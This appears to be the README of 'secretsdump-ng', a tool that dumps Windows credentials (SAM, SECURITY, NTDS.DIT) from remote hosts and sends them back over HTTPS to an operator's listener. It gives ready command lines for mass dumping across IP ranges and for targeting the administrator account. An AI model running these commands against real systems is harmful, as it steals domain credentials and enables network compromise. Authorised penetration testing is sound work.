secretsdump-ng 1.1.0

Next-generation secretsdump tool using DSInternals for credential extraction

secretsdump-ng

Credential dumping tool that uses DSInternals for extracting credentials from Windows systems, using any available command-execution port (rather than relying on 445).

Massive props to DSInternals & Impacket; this tool really isn't anything revolutionary and uses the impressive work already completed by Michael Grafnetter and the Fortra team.

Features

• NTDS.DIT extraction using DSInternals on Domain Controllers
• Registry hive dumping (SAM, SYSTEM, SECURITY) on all Windows systems
• Multi-threaded operations for dumping from multiple hosts
• Secure transfer of credentials via HTTPS
• Formatted output compatible with standard secretsdump format
• Filtered extraction - dump only specific users with --just-dc-user

Usage

# Dump all credentials from a single host
secretsdump-ng 192.168.1.10 username password

# Dump from multiple hosts using IP range
secretsdump-ng 192.168.1.10-20 username password

# Dump only a specific user
secretsdump-ng 192.168.1.10 username password --just-dc-user administrator

# Use more threads for faster scanning
secretsdump-ng 192.168.1.1-254 username password --threads 20

# Verbose output
secretsdump-ng 192.168.1.10 username password -v

How It Works

1. Sets up HTTPS server on port 1338 to receive credential dumps
2. Executes PowerShell remotely on target systems using exec_across_windows.py
3. Extracts registry hives (SAM, SYSTEM, SECURITY) from all Windows systems
4. Extracts NTDS.DIT using DSInternals on Domain Controllers
5. Processes and formats credentials using impacket-secretsdump
6. Saves output to ./secretsdump_ng_out/[IP]/secretsdump.out

Admin accounts are highlighted with (admin) tag. Machine accounts are sorted to the bottom.

Security Notes

• Uses temporary SSL certificates for HTTPS transfers
• Temporary files on target systems are stored in $env:TEMP and cleaned up after extraction
